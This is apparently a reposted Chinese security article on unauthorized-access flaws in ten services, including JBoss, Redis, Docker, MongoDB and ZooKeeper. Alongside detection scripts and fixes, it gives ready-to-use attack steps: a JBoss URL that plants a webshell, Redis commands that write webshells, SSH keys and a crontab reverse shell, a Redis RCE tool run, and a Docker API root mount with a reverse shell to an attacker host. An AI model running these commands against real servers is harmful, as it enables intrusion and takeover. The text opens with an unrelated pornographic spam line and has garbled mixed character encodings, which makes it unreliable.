自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

聊聊常見(jiàn)未授權(quán)訪問(wèn)漏洞總結(jié)

安全 漏洞
ZooKeeper默認(rèn)開(kāi)啟在2181端口,在未進(jìn)行任何訪問(wèn)控制情況下,攻擊者可通過(guò)執(zhí)行envi命令獲得系統(tǒng)大量的敏感信息,包括系統(tǒng)名稱、Java環(huán)境。

 [[334872]]

本文轉(zhuǎn)載自微信公眾號(hào)「Bypass」,作者Bypass 。轉(zhuǎn)載本文請(qǐng)聯(lián)系Bypass公眾號(hào)。

本文詳細(xì)地介紹了常見(jiàn)未授權(quán)訪問(wèn)漏洞及其利用,具體漏洞列表如下:

  • Jboss 未授權(quán)訪問(wèn)
  • Jenkins 未授權(quán)訪問(wèn)
  • ldap未授權(quán)訪問(wèn)
  • Redis未授權(quán)訪問(wèn)
  • elasticsearch未授權(quán)訪問(wèn)
  • MenCache未授權(quán)訪問(wèn)
  • Mongodb未授權(quán)訪問(wèn)
  • Rsync未授權(quán)訪問(wèn)
  • Zookeeper未授權(quán)訪問(wèn)
  • Docker未授權(quán)訪問(wèn)

1、Jboss未授權(quán)訪問(wèn)

漏洞原因:

在低版本中,默認(rèn)可以訪問(wèn)Jboss web控制臺(tái)(http://127.0.0.1:8080/jmx-console),無(wú)需用戶名和密碼。

 

漏洞利用:

1、寫(xiě)入一句話木馬:

  1. http://127.0.0.1:8080/jmx-console//HtmlAdaptor?action=invokeOpByName&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=August.war&argType=java.lang.String&&arg1=shell&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=%3c%25+if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b+%25%3e&argType=boolean&arg4=True 

2、寫(xiě)入1.txt文件

  1. http://127.0.0.1:8080/August/shell.jsp?f=1.txt&t=hello world! 

3、訪問(wèn)1.txt文件

  1. http://127.0.0.1:8080/August/1.txt 

檢測(cè)工具:jexboss,一個(gè)使用Python編寫(xiě)的Jboss漏洞檢測(cè)利用工具,通過(guò)它可以檢測(cè)并利用web-console,jmx-console,JMXInvokerServlet這三個(gè)漏洞,并且可以獲得一個(gè)shell。

修復(fù)建議:關(guān)閉jmx-console和web-console,提高安全性。

2、Jenkins 未授權(quán)訪問(wèn)

漏洞原因:未設(shè)置密碼,導(dǎo)致未授權(quán)訪問(wèn)。

漏洞測(cè)試:直接通過(guò)url訪問(wèn)

  1. http://<target>:8080/manage 
  2. http://<target>:8080/script 

 

修復(fù)建議:設(shè)置強(qiáng)口令密碼。

3、ldap未授權(quán)訪問(wèn)

漏洞原因:沒(méi)有對(duì)Ldap進(jìn)行密碼驗(yàn)證,導(dǎo)致未授權(quán)訪問(wèn)。

檢測(cè)腳本:

  1. #! /usr/bin/env python 
  2. # _*_  coding:utf-8 _*_ 
  3.  
  4. from ldap3 import Connection,Server,ALL 
  5. def ldap_anonymous(ip): 
  6.     try: 
  7.         server = Server(ip,get_info=ALL,connect_timeout=1) 
  8.         conn = Connection(server, auto_bind=True
  9.         print "[+] ldap login for anonymous" 
  10.         conn.closed 
  11.     except
  12.         #pass 
  13.         print '[-] checking for ldap anonymous fail' 

利用工具:使用LdapBrowser直接連入,獲取敏感信息。

修復(fù)建議:增加強(qiáng)密碼驗(yàn)證。

4、Redis未授權(quán)訪問(wèn)

漏洞利用:

姿勢(shì)一:絕對(duì)路徑寫(xiě)webshell

我們可以將dir設(shè)置為一個(gè)目錄a,而dbfilename為文件名b,再執(zhí)行save或bgsave,則我們就可以寫(xiě)入一個(gè)路徑為a/b的任意文件:

  1. config set dir /home/wwwroot/default
  2. config set dbfilename redis.php 
  3. set webshell "<?php phpinfo(); ?>" 
  4. save 

姿勢(shì)二:公私鑰認(rèn)證獲取root權(quán)限

1、ssh免密碼配置

  1. ssh-keygen -t rsa -P ''     #生成公鑰/私鑰對(duì)                            
  2. cd /root/.ssh/ 
  3. (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt  #將公鑰寫(xiě)入 foo.txt 文件 
  4. 連接 Redis 寫(xiě)入文件 

2、連接Redis寫(xiě)入文件

  1. cat foo.txt | ./redis-cli -h 192.168.125.140  -x set crackit 
  2. ./redis-cli -h 192.168.125.140 
  3. config set dir /root/.ssh/ 
  4. config get dir 
  5. config set dbfilename "authorized_keys" 
  6. save 

利用私鑰成功登錄redis服務(wù)器

 

姿勢(shì)三:利用contrab計(jì)劃任務(wù)反彈shell

  1. config set dir /var/spool/cron/crontabs/ 
  2. config set dbfilename root 
  3. flushall 
  4. set test "* * * * * /bin/bash -i >& /dev/tcp/10.1.1.211:1234 0>&1" 
  5. save 

姿勢(shì)四:主從復(fù)制RCE

在Reids 4.x之后,Redis新增了模塊功能,通過(guò)外部拓展,可以實(shí)現(xiàn)在Redis中實(shí)現(xiàn)一個(gè)新的Redis命令,通過(guò)寫(xiě)C語(yǔ)言編譯并加載惡意的.so文件,達(dá)到代碼執(zhí)行的目的。

通過(guò)腳本實(shí)現(xiàn)一鍵自動(dòng)化getshell:

1、生成惡意.so文件,下載RedisModules-ExecuteCommand使用make編譯即可生成。

  1. git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand 
  2. cd RedisModules-ExecuteCommand/ 
  3. make 

2、攻擊端執(zhí)行:python redis-rce.py -r 目標(biāo)ip-p 目標(biāo)端口 -L 本地ip -f 惡意.so

  1. git clone https://github.com/Ridter/redis-rce.git 
  2. cd redis-rce/ 
  3. cp ../RedisModules-ExecuteCommand/src/module.so ./ 
  4. pip install -r requirements.txt  
  5. python redis-rce.py -r 192.168.28.152 -p 6379 -L 192.168.28.137 -f module.so 

5、Elasticsearch未授權(quán)訪問(wèn)

漏洞原因:Elasticsearch 默認(rèn)端口為9200 ,攻擊者可以直接訪問(wèn)http://ip:port。

檢測(cè)腳本:

  1. #! /usr/bin/env python 
  2. # _*_  coding:utf-8 _*_ 
  3.  
  4. import requests 
  5. def Elasticsearch_check(ip, port=9200, timeout=5): 
  6.     try: 
  7.       url = "http://"+ip+":"+str(port)+"/_cat" 
  8.       response = requests.get(url)  
  9.     except
  10.       pass 
  11.     if "/_cat/master" in response.content: 
  12.       print '[+] Elasticsearch Unauthorized: ' +ip+':'+str(port) 

漏洞測(cè)試:

  1. http://localhost:9200/_cat/indices 
  2. http://localhost:9200/_river/_search 查看數(shù)據(jù)庫(kù)敏感信息 
  3. http://localhost:9200/_nodes 查看節(jié)點(diǎn)數(shù)據(jù) 
  4.  
  5. 如有安裝head插件: 
  6. http://localhost:9200/_plugin/head/ web管理界面 

修復(fù)建議:

1、限制IP訪問(wèn),綁定固定IP

2、在config/elasticsearch.yml中為9200端口設(shè)置認(rèn)證:

  1. http.basic.enabled true #開(kāi)關(guān),開(kāi)啟會(huì)接管全部HTTP連接 
  2.   http.basic.user "admin" #賬號(hào) 
  3.   http.basic.password "admin_pw" #密碼 
  4.   http.basic.ipwhitelist ["localhost""127.0.0.1"

6、MenCache未授權(quán)訪問(wèn)

漏洞原因:Memcached 分布式緩存系統(tǒng),默認(rèn)的 11211 端口不需要密碼即可訪問(wèn),黑客直接訪問(wèn)即可獲取數(shù)據(jù)庫(kù)中所有信息,造成嚴(yán)重的信息泄露。

檢測(cè)腳本:

  1. #! /usr/bin/env python 
  2. # _*_  coding:utf-8 _*_ 
  3. def Memcache_check(ip, port=11211, timeout=5): 
  4.     try: 
  5.         socket.setdefaulttimeout(timeout) 
  6.         s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
  7.         s.connect((ip, int(port))) 
  8.         s.send("stats\r\n"
  9.         result = s.recv(1024) 
  10.         if "STAT version" in result: 
  11.             print '[+] Memcache Unauthorized: ' +ip+':'+str(port) 
  12.     except Exception, e: 
  13.         pass 

漏洞驗(yàn)證:

  1. #無(wú)需用戶名密碼,可以直接連接memcache 服務(wù)的11211端口。 
  2. telnet x.x.x.x  11211 
  3.  
  4. stats  //查看memcache 服務(wù)狀態(tài) 
  5. stats items  //查看所有items 
  6. stats cachedump 32 0  //獲得緩存key 
  7. get :state:264861539228401373:261588   //通過(guò)key讀取相應(yīng)value ,獲得實(shí)際緩存內(nèi)容,造成敏感信息泄露 

修復(fù)建議:綁定的ip地址為 127.0.0.1,或者通過(guò)firewall限制訪問(wèn)。

7、Mongodb未授權(quán)訪問(wèn)

漏洞原因:MongoDB 默認(rèn)是沒(méi)有權(quán)限驗(yàn)證的,登錄的用戶可以通過(guò)默認(rèn)端口無(wú)需密碼對(duì)數(shù)據(jù)庫(kù)任意操作(增刪改高危動(dòng)作),而且可以遠(yuǎn)程訪問(wèn)數(shù)據(jù)庫(kù)。

檢測(cè)腳本:

  1. #! /usr/bin/env python 
  2. # _*_  coding:utf-8 _*_ 
  3.  
  4. def mongodb(ip,port):     
  5.     try: 
  6.         client = MongoClient(ip,port) 
  7.         db=client.local 
  8.         flag = db.collection_names() 
  9.         if flag:     
  10.             print "[+] Mongodb login for anonymous" 
  11.     except Exception, e: 
  12.         pass 

修復(fù)建議:增加用戶密碼權(quán)限驗(yàn)證,設(shè)置本地監(jiān)聽(tīng)或者訪問(wèn)控制。

8、Rsync未授權(quán)訪問(wèn)

漏洞原因:未配置賬號(hào)密碼認(rèn)證,導(dǎo)致未授權(quán)訪問(wèn)。

漏洞測(cè)試:

  1. 列舉整個(gè)同步目錄或指定目錄: 
  2. rsync 10.0.0.12 :: 
  3. rsync 10.0.0.12 :: www / 
  4.  
  5. 下載文件或目錄到本地: 
  6. rsync – avz 10.0.0.12 :: WWW/  /var/tmp 
  7. rsync – avz 10.0.0.12 :: www/  /var/tmp 
  8.  
  9. 上傳本地文件到服務(wù)端: 
  10. rsync -avz webshell 10.0.0.12 :: WWW / 

修復(fù)建議:增加用戶密碼認(rèn)證,設(shè)置訪問(wèn)ip限制。

9、Zookeeper未授權(quán)訪問(wèn)

漏洞原因:ZooKeeper默認(rèn)開(kāi)啟在2181端口,在未進(jìn)行任何訪問(wèn)控制情況下,攻擊者可通過(guò)執(zhí)行envi命令獲得系統(tǒng)大量的敏感信息,包括系統(tǒng)名稱、Java環(huán)境。

漏洞測(cè)試:

  1. echo envi|nc 192.168.15.74 2181 

 

修復(fù)建議:添加用戶名密碼認(rèn)證,設(shè)置ip訪問(wèn)控制。

10、Docker未授權(quán)訪問(wèn)

漏洞原因:docker remote api可以執(zhí)行docker命令,docker守護(hù)進(jìn)程監(jiān)聽(tīng)在0.0.0.0,可直接調(diào)用API來(lái)操作docker。

  1. sudo dockerd -H unix:///var/run/docker.sock -H 0.0.0.0:2375 

漏洞利用:

通過(guò)docker daemon api 執(zhí)行docker命令。

  1. #列出容器信息,效果與docker ps一致。 
  2. curl http://<target>:2375/containers/json 
  3.  
  4. #啟動(dòng)容器 
  5. docker -H tcp://<target>:2375 ps -a 

1、新運(yùn)行一個(gè)容器,掛載點(diǎn)設(shè)置為服務(wù)器的根目錄掛載至/mnt目錄下。

  1. sudo docker -H tcp://10.1.1.211:2375 run -it -v /:/mnt nginx:latest /bin/bash 

2、在容器內(nèi)執(zhí)行命令,將反彈shell的腳本寫(xiě)入到/var/spool/cron/root

  1. echo '* * * * * /bin/bash -i >& /dev/tcp/10.1.1.214/12345 0>&1' >> /mnt/var/spool/cron/crontabs/root 

3、本地監(jiān)聽(tīng)端口,獲取對(duì)方宿主機(jī)shell。

 

 

責(zé)任編輯:武曉燕 來(lái)源: Bypass
相關(guān)推薦

2016-11-08 19:56:09

GitLab漏洞遠(yuǎn)程命令

2019-07-11 15:35:03

Redis數(shù)據(jù)庫(kù)設(shè)計(jì)

2013-10-28 09:09:23

2025-04-16 11:15:09

2009-10-12 13:08:01

木馬病毒未授權(quán)控制軟件網(wǎng)絡(luò)安全

2019-10-24 10:14:30

2022-06-30 11:57:04

安全措施未授權(quán)網(wǎng)絡(luò)訪問(wèn)

2016-09-22 09:03:38

2013-09-04 10:41:08

2023-09-28 00:00:33

2020-08-16 20:36:21

滲透測(cè)試漏洞網(wǎng)絡(luò)攻擊

2021-09-08 08:55:45

Javascript 高階函數(shù)前端

2021-05-28 08:52:45

Hive分析函數(shù)

2022-02-07 21:49:19

串行通信UART

2021-12-10 18:19:14

授權(quán) Linkerd策略

2022-06-07 09:14:15

海運(yùn)供應(yīng)鏈網(wǎng)絡(luò)攻擊黑客

2021-07-07 05:43:47

漏洞網(wǎng)絡(luò)安全網(wǎng)絡(luò)攻擊

2023-08-14 07:01:06

2023-05-26 08:55:44

2014-03-10 09:14:16

點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)